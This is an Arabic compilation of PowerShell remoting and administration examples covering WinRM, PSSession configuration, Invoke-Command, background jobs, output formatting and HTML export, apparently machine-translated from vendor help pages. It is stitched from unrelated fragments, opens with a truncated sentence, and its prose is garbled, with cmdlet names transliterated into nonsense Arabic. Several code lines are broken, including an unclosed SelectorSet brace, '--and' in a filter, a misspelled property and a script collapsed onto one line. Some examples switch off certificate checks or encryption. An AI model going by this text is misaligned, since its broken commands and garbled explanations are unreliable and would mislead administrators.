الكمبيوتر
الحصول على معلومات الكمبيوتر ، آخر مرة تمهيد ، العمارة os وغيرها من البرنامج النصي PowerShell
فضل طريقة لاختبار * هذه الأنواع من الأشياء هي لاستخدا
إذا كان الأمان يمثل مشكلة وكنت تريد تشغيل نصوص برمجية موقعة (موقعة محليًا أو عن بُعد):
للحصول على قائمة بالبرامج المثبتة:
عند تشغيل الأمر نيتش التالية على ملقم دكب، دكب المسؤولين و دكب المستخدمين إنشاء مجموعات الأمان في المستخدمين والمجموعات المحلية على ملقم دكب.
الحصول على موفري سجل الأحداث وسجلات من جهاز كمبيوتر محلي
لإظهار عدد أحداث الخطأ والتحذير والمعلومات في السجل.
تحديد حالة خدمة وينرم
تحديد حالة خدمة وينرم وإصدار نظام التشغيل على كمبيوتر بعيد
لقد اختبرت على جهازين افتراضيين يعملان بنظام Windows 10 Pro. اضطررت لتشغيل PowerShell كمسؤول
يمكن الاعتماد عليها. عن طريق تعديل استراتيجية التنفيذ ، فإنك تعرض نفسك لمخاطر أمنية
الموضحة في موضوع التعليمات
أحاول كتابة أمر نسخ احتياطي لنسخ الملفات من حاسوبي المحلي إلى أي من خوادم النشر الخاصة بي
ROBOCOPY ../../MyService/bin/release/ \\remote-computer\\C:\services\myservice /MIR
يحدد المكان الذي تريد نسخ الملفات إليه.
robocopy.exe "\TOKEN\Deploy\Student Tests" "%PUBLIC%\Desktop\Tests" /MIR
_____________
python
setup.py py2exe
________________________________
الاتصال بجهاز كمبيوتر بعيد
Connect-WSMan -ComputerName "server01"
الاتصال بجهاز كمبيوتر بعيد باستخدام بيانات اعتماد المسؤول
$cred = Get-Credential Administrator
Connect-WSMan -ComputerName "server01" -Credential $cred
cd wsman:
الاتصال بجهاز كمبيوتر بعيد عبر منفذ محدد
Connect-WSMan -ComputerName "server01" -Port 80
cd wsman:
يؤدي هذا الأمر إلى إنشاء اتصال إلى الكمبيوتر server01 البعيد عبر المنفذ 80.
$a = New-WSManSessionOption -OperationTimeout 30000
Connect-WSMan -ComputerName "server01" -SessionOption $a
قطع اتصال العميل من خدمة وينرم على كمبيوتر بعيد
Disconnect-WSMan -computer server01
الحصول على مراجع نقطة النهاية لجميع الخدمات
Get-WSManInstance -Enumerate -ResourceURI wmicimv2/win32_service -ReturnType EPR
لحصول على تكوين المستمع الذي يطابق المعايير على الكمبيوتر المحلي
Get-WSManInstance -ResourceURI winrm/config/listener -SelectorSet @{Address="*";Transport="http"
الحصول على تكوين مستمع يطابق المعايير على كمبيوتر بعيد
Get-WSManInstance -ResourceURI winrm/config/listener -SelectorSet @{Address="*";Transport="http"} -ComputerName "Server01
يسرد هذا الأمر تكوين مستمع وس-ماناجيمنت على كمبيوتر server00 البعيد للمستمع الذي يطابق المعايير في مجموعة محدد.
مثال 7: الحصول على مثيلات المرتبطة المتعلقة مثيل المحدد
Get-WSManInstance -Enumerate -Dialect Association -Filter "{Object=win32_service?name=winrm}" -ResourceURI wmicimv2/*
لحصول على مثيلات الارتباط المتعلقة بمثيل محدد
Get-WSManInstance -Enumerate -Dialect Association -Associations -Filter "{Object=win32_service?name=winrm}" -ResourceURI wmicimv2/*
يعرض هذا الأمر مساعدة مفصلة ل كمدليت جيت-تشيلديتم عن طريق تحديد أحد الأسماء المستعارة لها، لس. تحصل المعلمة
Get-Help Format-Table -Full
لمعلمة فول فعالة فقط عند تثبيت ملفات التعليمات للأمر على الكمبيوتر.
Get-Help Start-Service -Examples
عرض هذا الأمر أمثلة على استخدام كمدليت بدء الخدمة. يستخدم المعلمة أمثلة من جيت-هيلب لعرض قسم الأمثلة فقط من مواضيع تعليمات كمدليت.
تكون معلمة الأمثلة فعالة فقط عند تثبيت ملفات التعليمات للأمر على الكمبيوتر.
Get-Help Format-List -Parameter GroupBy
يمكنك أيضا الحصول على مساعدة خاصة بموفر الخدمة ل كمدليتس عبر الإنترنت في القسم الذي يصف مقدم الخدمة. على سبيل المثال، للحصول على مساعدة خاصة بموفر الخدمة على الإنترنت ل كمدليت عنصر جديد في كل مسار موفر وسان، راجع عنصر جديد ل كلينتسرتيفيكات
Get-Help C:\PS-Test\MyScript.ps1
يعرض هذا الأمر إصدار عبر إنترنت من موضوع التعليمات للحصول على كمدليت الحصول على عضو.
Get-Help remoting
يوضح هذا المثال كيفية البحث عن كلمة معينة في موضوع مساعدة كمدليت. يبحث هذا الأمر عن كلمة كليكسمل في النسخة الكاملة من موضوع التعليمات ل كمدليت إضافة عضو.
لأن كمدليت الحصول على تعليمات بإنشاء كائن ماملكوماندلبينفو، وليس سلسلة، لديك لاستخدام كمدليت الذي يحول محتوى موضوع المساعدة إلى سلسلة مثل أوت-سترينغ أو أوت-فيل.
Get-Help Get-Member -Online
يستخدم هذا الأمر المعلمة معلمة من الحصول على تعليمات لعرض وصف تفصيلي للمعلمة غروبي من كمدليت تنسيق قائمة. للحصول على وصف تفصيلي لجميع المعلمات من كمدليت تنسيق قائمة، اكتب الحصول على تعليمات تنسيق قائمة -Parameter
Get-Help Add-Member -Full | Out-String -Stream | Select-String -Pattern Clixml
تسجيل تكوين جلسة نيوشيل
Register-PSSessionConfiguration -Name NewShell -ApplicationBase c:\MyShells\ -AssemblyName MyShell.dll -ConfigurationTypeName MyClass
تسجيل تكوين جلسة عمل مينتنانسشيل
Register-PSSessionConfiguration -Name MaintenanceShell -StartupScript C:\ps-test\Maintenance.ps1
تسجيل تكوين جلسة عمل أدمينشيل
$sddl = "O:NSG:BAD:P(A;;GA;;;BA)S:P(AU;FA;GA;;;WD)(AU;FA;SA;GWGX;;WD)"
Register-PSSessionConfiguration -Name AdminShell -SecurityDescriptorSDDL $sddl -MaximumReceivedObjectSizeMB 20 -StartupScript C:\scripts\AdminShell.ps1
dir WSMan:\LocalHost\Plugin ========
حذف تكوين جلسة عمل وإعادة تشغيل خدمة وينرم
Unregister-PSSessionConfiguration -Name MaintenanceShell -Force
حذف جميع تكوينات الجلسة
Unregister-PSSessionConfiguration -Name *
Get-PSSessionConfiguration -Name * | Unregister-PSSessionConfiguration
إلغاء التسجيل بدون إعادة تشغيل
Restart-Service winrm
New-PSSession -ConfigurationName MaintenanceShell
الحصول على تكوينات جلسة عمل للحساب المحلي
Get-PSSessionConfiguration
الحصول على تكوينات الجلسة الافتراضية
Get-PSSessionConfiguration -Name Microsoft*
خصائص عرض تكوين جلسة عمل تم إنشاؤها من ملف
Get-PSSessionConfiguration -Name Full | Format-List -Property *
تشغيل هذا كمدليت على كمبيوتر بعيد
Enable-WSManCredSSP -Delegate Server02
Connect-WSMan Server02
Invoke-Command -ScriptBlock {Get-PSSessionConfiguration} -ComputerName Server02 -Authentication CredSSP -Credential Domain01\Admin01
الحصول على معرف الموارد المنتظم (أوري) للمورد لتكوين الجلسة
(Get-PSSessionConfiguration -Name CustomShell).resourceURI
إعادة تمكين الجلسة الافتراضية
Enable-PSSessionConfiguration
Enable-PSSessionConfiguration -Name MaintenanceShell, AdminShell
إعادة تمكين جميع الجلسات
Enable-PSSessionConfiguration -Name *
Get-PSSessionConfiguration | Enable-PSSessionConfiguration
إعادة تمكين جلسة عمل وتحديد واصف أمان جديد
Enable-PSSessionConfiguration -Name MaintenanceShell -SecurityDescriptorSDDL "O:NSG:BAD:P(A;;GXGWGR;;;BA)(A;;GAGR;;;S-1-5-21-123456789-188441444-3100496)S:P"
تعطيل تكوينات الجلسة على الكمبيوتر المحلي
Disable-PSSessionConfiguration
تعطيل كافة تكوينات جلسة العمل المسجلة
Disable-PSSessionConfiguration -Name *
يؤدي هذا الأمر إلى تعطيل كافة تكوينات جلسة العمل المسجلة على الكمبيوتر.
مثال 3: تعطيل تكوينات الجلسة حسب الاسم
Disable-PSSessionConfiguration -Name Microsoft* -Force
تعطيل تكوينات الجلسة باستخدام بيبيلي
Get-PSSessionConfiguration -Name MaintenanceShell, AdminShell | Disable-PSSessionConfiguration
تكوين جهاز كمبيوتر لتلقي الأوامر عن بعد
تكوين جهاز كمبيوتر لتلقي الأوامر عن بعد بدون موجه
تشغيل برنامج نصي على خادم
Invoke-Command -FilePath c:\scripts\test.ps1 -ComputerName Server01
يستخدم الأمر معلمة فيليباث لتحديد البرنامج النصي الموجود على الكمبيوتر المحلي. يتم تشغيل البرنامج النصي على الكمبيوتر البعيد ويتم إرجاع النتائج إلى الكمبيوتر المحلي.
Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture}
استجابة لذلك، يعرض ويندوز بويرشيل مربع حوار يطلب كلمة المرور وطريقة مصادقة لحساب User01. ثم يقوم بتشغيل الأمر على جهاز الكمبيوتر Server01 وإرجاع النتيجة.
$s = New-PSSession -ComputerName Server02 -Credential Domain01\User01
Invoke-Command -Session $s -ScriptBlock {Get-Culture}
استخدام جلسة لتشغيل سلسلة من الأوامر التي تشارك البيانات
Invoke-Command -ComputerName Server02 -ScriptBlock {$p = Get-Process PowerShell}
Invoke-Command -ComputerName Server02 -ScriptBlock {$p.VirtualMemorySize}
$s = New-PSSession -ComputerName Server02
Invoke-Command -Session $s -ScriptBlock {$p = Get-Process PowerShell}
Invoke-Command -Session $s -ScriptBlock {$p.VirtualMemorySize}
تشغيل أمر واحد على العديد من أجهزة الكمبيوتر
Invoke-Command -ComputerName Server01, Server02, TST-0143, localhost -ConfigurationName MySession.PowerShell -ScriptBlock {Get-EventLog "Windows PowerShell"}
الحصول على إصدار البرنامج المضيف على أجهزة كمبيوتر متعددة
$version = Invoke-Command -ComputerName (Get-Content Machines.txt) -ScriptBlock {(Get-Host).Version}
تشغيل مهمة خلفية على عدة أجهزة كمبيوتر عن بعد
$s = New-PSSession -ComputerName Server01, Server02
Invoke-Command -Session $s -ScriptBlock {Get-EventLog system} -AsJob
$j = Get-Job
$j | Format-List -Property *
ضمين المتغيرات المحلية في أمر تشغيل على كمبيوتر بعيد
$MWFO_Log = "Microsoft-Windows-Forwarding/Operational"
Invoke-Command -ComputerName Server01 -ScriptBlock {Get-EventLog -LogName $Using:MWFO_Log -Newest 10}
إخفاء اسم الكمبيوتر
Invoke-Command -ComputerName S1, S2 -ScriptBlock {Get-Process PowerShell}
Invoke-Command -ComputerName S1, S2 -ScriptBlock {Get-Process PowerShell} -HideComputerName
تشغيل برنامج نصي على كافة أجهزة الكمبيوتر المدرجة في ملف نصي
Invoke-Command -ComputerName (Get-Content Servers.txt) -FilePath C:\Scripts\Sample.ps1 -ArgumentList Process, Service
تشغيل أمر على كمبيوتر بعيد باستخدام أوري
$LiveCred = Get-Credential
Invoke-Command -ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.exchangelabs.com/PowerShell -Credential $LiveCred -Authentication Basic -ScriptBlock {Set-Mailbox Dan -DisplayName "Dan Park"}
إدارة إعادة توجيه أوري في أمر بعيد
$max = New-PSSessionOption -MaximumRedirection 1
Invoke-Command -ConnectionUri https://ps.exchangelabs.com/PowerShell -ScriptBlock {Get-Mailbox dan} -AllowRedirection -SessionOption $max
استخدام خيار جلسة عمل
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
Invoke-Command -ComputerName server01 -UseSSL -ScriptBlock { Get-HotFix } -SessionOption $so -Credential server01\user01
الوصول إلى مشاركة شبكة في جلسة بعيدة
Enable-WSManCredSSP -Delegate Server02
Connect-WSMan Server02
Set-Item WSMan:\Server02*\Service\Auth\CredSSP -Value $True
$s = New-PSSession Server02
Invoke-Command -Session $s -ScriptBlock {Get-Item \\Net03\Scripts\LogFiles.ps1} -Authentication CredSSP -Credential Domain01\Admin01
إنشاء جلسة عمل على كمبيوتر بعيد
$Server01 = New-PSSession -ComputerName Server01
إنشاء جلسات على أجهزة كمبيوتر متعددة
$s1, $s2, $s3 = New-PSSession -ComputerName Server01,Server02,Server03
إنشاء جلسة عمل باستخدام منفذ محدد
New-PSSession -ComputerName Server01 -Port 8081 -UseSSL -ConfigurationName E12
إنشاء جلسة استنادا إلى جلسة عمل موجودة
New-PSSession -Session $s -Credential Domain01\User01
نشاء جلسة ذات نطاق عام في نطاق مختلف
$global:s = New-PSSession -ComputerName Server1.Domain44.Corpnet.Fabrikam.com -Credential Domain01\Admin01
إنشاء جلسات لكثير من أجهزة الكمبيوتر
$rs = Get-Content C:\Test\Servers.txt | New-PSSession -ThrottleLimit 50
إنشاء جلسة عمل باستخدام عنوان أوري
$s = New-PSSession -URI http://Server01:91/NewSession -Credential Domain01\User01
تشغيل مهمة خلفية في مجموعة من الجلسات
$s = New-PSSession -ComputerName (Get-Content Servers.txt) -Credential Domain01\Admin01 -ThrottleLimit 16
Invoke-Command -Session $s -ScriptBlock {Get-Process PowerShell} -AsJob
نشاء جلسة لجهاز كمبيوتر باستخدام معرف موارد منتظم (أوري) الخاص به
New-PSSession -ConnectionURI https://management.exchangelabs.com/Management
الحصول على جلسات متصلة بالكمبيوتر المحلي
Get-PSSession -ComputerName "localhost"
الحصول على جلسات متصلة بجهاز كمبيوتر
Get-PSSession -ComputerName "Server02"
إنشاء دالة تقوم بحذف جميع الجلسات في الجلسة الحالية
Function EndPSS { Get-PSSession | Remove-PSSession }
الحصول على أحداث من سجل النظام على الكمبيوتر المحلي
$j = Start-Job -ScriptBlock {Get-EventLog -Log system} -Credential domain01\user01
$j | Format-List -Property *
$j.JobStateInfo.state
$results = Receive-Job -Job $j
$results
تشغيل البرنامج النصي كمهمة خلفية
Start-Job -FilePath "c:\scripts\sample.ps1" ____________________________________
الحصول على عملية بالاسم باستخدام مهمة الخلفية
Start-Job -Name "WinRm" -ScriptBlock {Get-Process winrm}
جمع وحفظ البيانات باستخدام وظيفة الخلفية
Start-Job -Name GetMappingFiles -InitializationScript {Import-Module MapFunctions} -ScriptBlock {Get-Map -Name * | Set-Content D:\Maps.tif} -RunAs32
بدأت جميع وظائف الخلفية في الدورة الحالية
Get-Job
إيقاف وظيفة باستخدام معرف مثيل
$j = Get-Job -Name Job1
$ID = $j.InstanceID
$ID
احصل على وظائف تتضمن أمر محدد
Get-Job -Command "*get-process*"
الحصول على الوظائف التي لم يتم تعيين اسم
Get-Job -Name Job*
استخدام كائن مهمة لتمثيل المهمة في أمر
Start-Job -ScriptBlock {Get-Process} -Name MyJob
$j = Get-Job -Name MyJob
$j
للحصول على نتائج المهمة.
Receive-Job -Job $j
الحصول على جميع الوظائف بما في ذلك الوظائف التي كتبها طريقة مختلفة
Start-Job -ScriptBlock {Get-EventLog System}
Invoke-Command -ComputerName S1 -ScriptBlock {Get-EventLog System} -AsJob
Invoke-Command -ComputerName S2 -ScriptBlock {Start-Job -ScriptBlock {Get-EventLog System}}
______
يستخدم الأمر الرابع ** جيت-جوب ** للحصول على الوظائف المخزنة على الكمبيوتر المحلي. ** الخاصية بسجوبتيبنام ** الوظائف، التي أدخلت في ويندوز بويرشيل 3.0، يدل على أن المهمة المحلية بدأت باستخدام ** بدء العمل ** كمدليت هو مهمة الخلفية وبدأت المهمة في جلسة عمل عن بعد باستخدام ** استدعاء القيادة ** كمدليت هو وظيفة عن بعد.
Get-Job
______
Invoke-Command -ComputerName S2 -ScriptBlock {Start-Job -ScriptBlock {Get-EventLog System}}
التحقيق في وظيفة فاشلة
Start-Job -ScriptBlock {Get-Process}
(Get-Job).JobStateInfo | Format-List -Property *
عرض جميع الخصائص في كائن المهمة يظهر أن المهمة تحتوي على وظيفة طفل اسمها Job2.
Get-Job | Format-List -Property *
(Get-Job -Name job2).JobStateInfo.Reason
لأمر الأول يحصل على وظائف في الدورة الحالية. الإخراج يتضمن وظيفة خلفية، وظيفة عن بعد والعديد من الحالات من وظيفة مجدولة. يبدو أن الوظيفة البعيدة، Job4، قد فشلت
Get-Job
الحصول على نتائج لوظيفة معينة
$job = Start-Job -ScriptBlock {Get-Process}
Receive-Job -Job $job
$job = Start-Job -ScriptBlock {Get-Process}
$job | Receive-Job
يحتوي كائن المهمة على ثلاث وظائف فرعية، واحدة لكل وظيفة على كل كمبيوتر بعيد.
$j = Invoke-Command -ComputerName Server01, Server02, Server03 -ScriptBlock {Get-Service} -AsJob
$j.ChildJobs
هذه الأوامر الحصول على نتائج واحدة من عدة وظائف خلفية تعمل على أجهزة الكمبيوتر البعيدة.
مثال 4: الحصول على نتائج وظائف الخلفية على أجهزة الكمبيوتر البعيدة متعددة
$s = new-pssession -computername Server01, Server02, Server03
$j = invoke-command -session $s -scriptblock {start-job -scriptblock {get-eventlog -logname system}}
$results = Invoke-Command -Session $s -ScriptBlock {Receive-Job -Job $Using:j}
إيقاف وظيفة على كمبيوتر بعيد باستخدام إنفوك-كوماند
$s = New-PSSession -ComputerName Server01 -Credential Domain01\Admin02
PS C:\> $j = Invoke-Command -Session $s -ScriptBlock {Start-Job -ScriptBlock {Get-EventLog System}}
PS C:\> Invoke-Command -Session $s -ScriptBlock { Stop-job -Job $Using:j }
إيقاف وظيفة الخلفية
Stop-Job -Name "Job1"
Stop-Job -Id 1, 3, 4
إيقاف جميع وظائف الخلفية
Get-Job | Stop-Job
Stop-Job -State Blocked
يقاف مهمة على كمبيوتر بعيد
$j = Invoke-Command -ComputerName Server01 -ScriptBlock {Get-EventLog System} -AsJob
$j | Stop-Job -PassThru
انتظر بدء العمل على أجهزة الكمبيوتر عن بعد باستخدام
$s = New-PSSession Server01, Server02, Server03
Invoke-Command -Session $s -ScriptBlock {Start-Job -Name Date1 -ScriptBlock {Get-Date}}
$done = Invoke-Command -Session $s -Command {Wait-Job -Name Date1}
$done.Count
تحديد متى تنتهي مهمة الخلفية الأولى
$s = New-PSSession (Get-Content Machines.txt)
$c = 'Get-EventLog -LogName System | where {$_.EntryType -eq "error" --and $_.Source -eq "LSASRV"} | Out-File Errors.txt'
Invoke-Command -Session $s -ScriptBlock {Start-Job -ScriptBlock {$Using:c}
Invoke-Command -Session $s -ScriptBlock {Wait-Job -Any}
تعيين وقت الانتظار للوظائف على أجهزة الكمبيوتر البعيدة
$s = New-PSSession Server01, Server02, Server03
$jobs = Invoke-Command -Session $s -ScriptBlock {Start-Job -ScriptBlock {Get-Date}}
$done = Invoke-Command -Session $s -ScriptBlock {Wait-Job -Timeout 30}
انتظر حتى تنتهي واحدة من عدة وظائف
Wait-Job -id 1,2,5 -Any
انتظر لفترة، ثم السماح للعمل على الاستمرار في الخلفية
Wait-Job -Name "DailyLog" -Timeout 120
لبدء جلسة تفاعلية مع Server01، كمبيوتر بعيد. عند بدء الجلسة، تتغير موجه الأوامر لتضمين اسم الكمبيوتر.
Enter-PSSession -Computer Server01
الإخراج إلى الملف Process.txt. يتم إرسال الأمر إلى الكمبيوتر البعيد، ويتم حفظ الملف على الكمبيوتر البعيد.
Get-Process Powershell > C:\ps-test\Process.txt
يوضح هذا الأمر كيفية العمل في جلسة تفاعلية مع كمبيوتر بعيد.
$s = New-PSSession -ComputerName Server01
Enter-PSSession -Session $s
بدء جلسة تفاعلية وتحديد معاملات بورت و كريدنتيال
Enter-PSSession -ComputerName Server01 -Port 90 -Credential Domain01\User01
يبدأ هذا الأمر جلسة تفاعلية مع الكمبيوتر Server01. يستخدم المعلمة المنفذ لتحديد المنفذ ومعامل الاعتماد لتحديد حساب مستخدم لديه إذن للاتصال بالكمبيوتر البعيد.
Enter-PSSession -ComputerName Server01
Exit-PSSession
بدء جلسة تفاعلية باستخدام سش
Enter-PSSession -HostName LinuxServer01 -UserName UserA
دء جلسة تفاعلية باستخدام سش وتحديد مفتاح المصادقة بورت والمستخدم
Enter-PSSession -HostName LinuxServer02 -UserName UserA -Port 22 -KeyFilePath c:\<path>\userAKey_rsa
استخدم الكلمة الرئيسية للخروج لإيقاف الجلسة
Enter-PSSession -computername Server01
exit
إنشاء خيار جلسة عمل افتراضية
New-PSSessionOption
تكوين جلسة عمل باستخدام كائن خيار جلسة عمل
$pso = New-PSSessionOption -Culture "fr-fr" -MaximumReceivedObjectSize 10MB
New-PSSession -ComputerName Server01 -SessionOption $pso
بدء جلسة تفاعلية
Enter-PSSession -ComputerName Server01 -SessionOption (New-PSSessionOption -NoEncryption -NoCompression)
تعديل كائن خيار الجلسة
$a = New-PSSessionOption
$a = New-PSSessionOption
$a.UICulture = (Get-UICulture)
$a.OpenTimeout = (New-Timespan -Minutes 4)
$a.MaximumConnectionRedirectionCount = 1
$a
$PSSessionOption = New-PSSessionOption -OpenTimeOut 120000
===============================================================================
الوفاء بمتطلبات تكوين جلسة عمل عن بعد
$skipCN = New-PSSessionOption -SkipCNCheck
New-PSSession -ComputerName 171.09.21.207 -UseSSL -Credential Domain01\User01 -SessionOption $SkipCN
لأنه يتم تعريف الكمبيوتر بواسطة عنوان إب الخاص به، لا تتطابق قيمة المعلمة كومبوترنام مع أي من الأسماء الشائعة في الشهادة المستخدمة ل طبقة المقابس الآمنة (سل). ونتيجة لذلك، مطلوب الخيار سكيبنشيك.
مثال 7: جعل الوسيطات متاحة لجلسة بعيدة
$team = @{Team="IT"; Use="Testing"}
$TeamOption = New-PSSessionOption -ApplicationArguments $team
$s = New-PSSession -ComputerName Server01 -SessionOption $TeamOption
Invoke-Command -Session $s {$PSSenderInfo.SpplicationArguments}
Invoke-Command -Session $s {if ($PSSenderInfo.ApplicationArguments.Use -ne "Testing") {.\logFiles.ps1} else {"Just testing."}}
==================================================================================
لكل عملية على الكمبيوتر
Get-Process | ForEach-Object {$_.ProcessName}
تقسيم الأعداد الصحيحة في مصفوفة
30000, 56798, 12432 | ForEach-Object -Process {$_/1024}
الحصول على طول كافة الملفات في دليل
Get-ChildItem $pshome | ForEach-Object -Process {if (!$_.PSIsContainer) {$_.Name; $_.Length / 1024; " " }}
تعمل على أحدث أحداث النظام
$Events = Get-EventLog -LogName System -Newest 1000
$events | ForEach-Object -Begin {Get-Date} -Process {Out-File -Filepath Events.txt -Append -InputObject $_.Message} -End {Get-Date}
******************************************************************************************************
عرض المعلمة بيجين التاريخ والوقت الحاليين. بعد ذلك، تستخدم معلمة بروسيس كمدليت أوت-فيل لإنشاء ملف نصي يسمى events.txt وتخزين خاصية الرسالة لكل من الأحداث في ذلك الملف. أخيرا، يتم استخدام المعلمة إند لعرض التاريخ والوقت بعد اكتمال كل المعالجة.
مثال : تغيير قيمة مفتاح التسجيل
Get-ItemProperty -Path HKCU:\Network\* | ForEach-Object {Set-ItemProperty -Path $_.PSPath -Name RemotePath -Value $_.RemotePath.ToUpper();}
استخدم المتغير التلقائي $ نول
1, 2, $null, 4 | ForEach-Object {"Hello"}
الحصول على قيم الخاصية
Get-Module -List | ForEach-Object -MemberName Path
Get-Module -List | Foreach Path
تقسيم أسماء الوحدات إلى أسماء المكونات
"Microsoft.PowerShell.Core", "Microsoft.PowerShell.Host" | ForEach-Object {$_.Split(".")}
"Microsoft.PowerShell.Core", "Microsoft.PowerShell.Host" | ForEach-Object -MemberName Split -ArgumentList "."
"Microsoft.PowerShell.Core", "Microsoft.PowerShell.Host" | Foreach Split "."
تقوم المعلمة غروببي بترتيب البيانات حول العمليات إلى مجموعات استنادا إلى قيمة خاصية باسبريوريتي الخاصة بهم. تضمن المعلمة وراب عدم اقتطاع البيانات.
Get-Process | Sort-Object starttime | Format-Table -View starttime
يقوم هذا العرض بتحويل ستارتيمي للعملية إلى تاريخ قصير ثم يقوم بتجميع العمليات حسب تاريخ البدء.
Get-Service | Format-Table -Property Name, DependentServices
تنسيق عملية وحساب وقت تشغيلها
Get-Process Notepad | Format-Table ProcessName, @{Label="TotalRunningTime"; Expression={(Get-Date) - $_.StartTime}}
تم تحديد الخاصية توتالرونينغتيم بواسطة جدول تجزئة مع مفتاحين، التسمية والتعبير. يتم تعيين اسم الخاصية إلى مفتاح
$Processes = Get-WmiObject -ComputerName "Server01" -Class win32_process -Filter "name='notepad.exe'"
$Processes | Format-Table ProcessName, @{ Label = "Total Running Time"; Expression={(Get-Date) - $_.ConvertToDateTime($_.CreationDate)}}
خارج الطابعة بإرسال الإخراج إلى الطابعة الافتراضية أو إلى طابعة بديلة، إذا تم تحديد واحد.
Get-Content $pshome\about_signing.help.txt | Out-Printer
للحصول على محتويات موضوع التعليمات. يتضمن المسار $ بشوم، وهو متغير مدمج يقوم بتخزين دليل التثبيت لنظام التشغيل ويندوز بويرشيل. يقوم مشغل خط أنابيب (|) بتمرير النتائج إلى طابعة خارجية، والتي ترسلها إلى الطابعة الافتراضية.
"Hello, World" | Out-Printer -Name "\\Server01\Prt-6B Color"
أوامره يطبع مرحبا، العالم إلى برت-6B طابعة ملونة على Server01. يستخدم هذا الأمر معلمة الاسم لتحديد الطابعة البديلة. لأن اسم المعلمة اختياري، يمكنك حذفه.
$H = Get-Help -Full Get-WmiObject
Out-Printer -InputObject $H
*****************************************************************************************************
عمليات الإخراج إلى عرض الشبكة
Get-Process | Out-GridView
*********************************************************************************************************
هذا الأمر يحصل على العمليات التي تعمل على الكمبيوتر المحلي ويرسلها إلى إطار عرض الشبكة.
مثال 2: استخدام متغير لإخراج العمليات إلى طريقة عرض الشبكة
$P = Get-Process
$P | Out-GridView
*********
أمره أيضا يحصل على العمليات التي تعمل على الكمبيوتر المحلي ويرسلها إلى نافذة عرض الشبكة.
Get-Process | Select-Object -Property Name, WorkingSet, PeakWorkingSet | Sort-Object -Property WorkingSet -Descending | Out-GridView
*********************************************************************************************************///////////////
حفظ الإخراج إلى متغير، ثم إخراج عرض الشبكة
($A = Get-ChildItem -Path $pshome -Recurse) | Out-GridView
**********************************************************************************************************////////////////
عمليات إخراج لجهاز كمبيوتر محدد إلى طريقة عرض الشبكة
Get-Process -ComputerName "Server01" | ogv -Title "Processes - Server01"
إخراج البيانات من أجهزة الكمبيوتر البعيدة إلى عرض الشبكة
Invoke-Command -ComputerName S1, S2, S3 -ScriptBlock {Get-Culture} | Out-GridView
تشغيلها عن بعد لا يتضمن الأمر أوت-غريدفيو. إذا فعل ذلك، الأمر سوف تفشل عندما حاول فتح نافذة عرض الشبكة على كل من أجهزة الكمبيوتر البعيدة
Get-Process | Out-GridView -PassThru | Export-Csv -Path .\ProcessLog.csv
أمره يتيح لك تحديد عمليات متعددة من النافذة خارج الشبكة. يتم تمرير العمليات التي تحددها إلى الأمر إكسبورت-كسف وكتب إلى الملف ProcessLog.csv.
Powershell.exe -Command "Get-Service | Out-GridView -Wait"
الاشتراك في الأحداث عند بدء عملية جديدة
$Query = New-Object System.Management.WqlEventQuery "__InstanceCreationEvent", (New-Object TimeSpan 0,0,1), "TargetInstance isa 'Win32_Process'"
$ProcessWatcher = New-Object System.Management.ManagementEventWatcher $Query
Register-ObjectEvent -InputObject $ProcessWatcher -EventName "EventArrived"
الاشتراك في أحداث الكائن على أجهزة الكمبيوتر البعيدة
$S = New-PSSession -ComputerName "Server01, Server02"
Invoke-Command -Session $S -FilePath ProcessCreationEvent.ps1
Invoke-Command -Session $S { get-event }# ProcessCreationEvent.ps1function Enable-ProcessCreationEvent{ $Query = New-Object System.Management.WqlEventQuery "__InstanceCreationEvent", `
(New-Object TimeSpan 0,0,1), `
"TargetInstance isa 'Win32_Process'" $ProcessWatcher = New-Object System.Management.ManagementEventWatcher $Query $Identifier = "WMI.ProcessCreated" Register-ObjectEvent -Input $ProcessWatcher -EventName "EventArrived" `
-SourceIdentifier $Identifier -MessageData "Test" -Forward}EnableProcessCreationEvent
الذي يشترك في أحداث إنشاء مثيل على كائن
$Timer = New-Object Timers.Timer
$Timer.Interval = 500
$Job = Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier Timer.Random -Action {$Random = Get-Random -Min 0 -Max 100}
$Job.gettype().fullnameSystem.Management.Automation.PSEventJob
$Job | Format-List -Property *
تسجيل حدث محرك بويرشيل على أجهزة الكمبيوتر البعيدة
$S = New-PSSession -ComputerName "Server01, Server02"
Invoke-Command -Session $S { Register-EngineEvent -SourceIdentifier ([System.Management.Automation.PsEngineEvent]::Exiting) -Forward }
اتخاذ إجراء محدد عند حدوث حدث الخروج
Register-EngineEvent -SourceIdentifier PowerShell.Exiting -SupportEvent -Action {
Get-History | Export-Clixml $Home\history.clixml
}
إنشاء صفحة ويب لعرض التاريخ
ConvertTo-Html -InputObject (Get-Date)
إنشاء صفحة ويب لعرض الأسماء المستعارة بويرشيل
Get-Alias | ConvertTo-Html > aliases.htm
Invoke-Item aliases.htm
هذا الأمر بإنشاء صفحة هتمل تسرد الأسماء المستعارة ويندوز بويرشيل في وحدة التحكم الحالية
إنشاء صفحة ويب لعرض أحداث بويرشيل
Get-EventLog -LogName "Windows PowerShell" | ConvertTo-Html > pslog.htm
الأمر بإنشاء صفحة هتمل تسمى pslog.htm تعرض الأحداث في سجل أحداث ويندوز بويرشيل على الكمبيوتر المحلي.
Get-Process | ConvertTo-Html -Property Name, Path, Company -Title "Process Information" > proc.htm; ii proc.htm
إنشاء صفحة ويب لعرض كائنات الخدمة
Get-Service | ConvertTo-Html -CssUri "test.css"
إنشاء صفحة ويب لعرض كائنات الخدمة
Get-Service | ConvertTo-Html -As LIST > services.htm
إنشاء جدول ويب للتاريخ الحالي
Get-Date | cth -Fragment
إنشاء صفحة ويب لعرض أحداث بويرشيل
Get-EventLog -Log "Windows PowerShell" | ConvertTo-Html -Property id, level, task
إنشاء صفحة ويب لعرض خدمات محددة
Get-Service A* | ConvertTo-Html -Title "Windows Services: Server01" -Body (get-date) -Pre
"<P>Generated by Corporate IT</P>" -Post "For details, contact Corporate IT." > services.htm; ii services.html
تعيين خصائص ميتا و تشارسيت من هتمل
Get-Service | ConvertTo-HTML -Meta @{refresh=10;author="Author's Name";keywords="PowerShell, HTML, ConvertTo-HTML"} -Charset "UTF-8"
يقوم أمره بإنشاء هتمل لصفحة ويب باستخدام العلامات الوصفية للتحديث والمؤلف والكلمات الرئيسية. تم تعيين مجموعة الأحرف للصفحة على أوتف-8
مثال تعيين هتمل إلى شتمل الانتقالية دتد
Get-Service | ConvertTo-HTML -Transitional
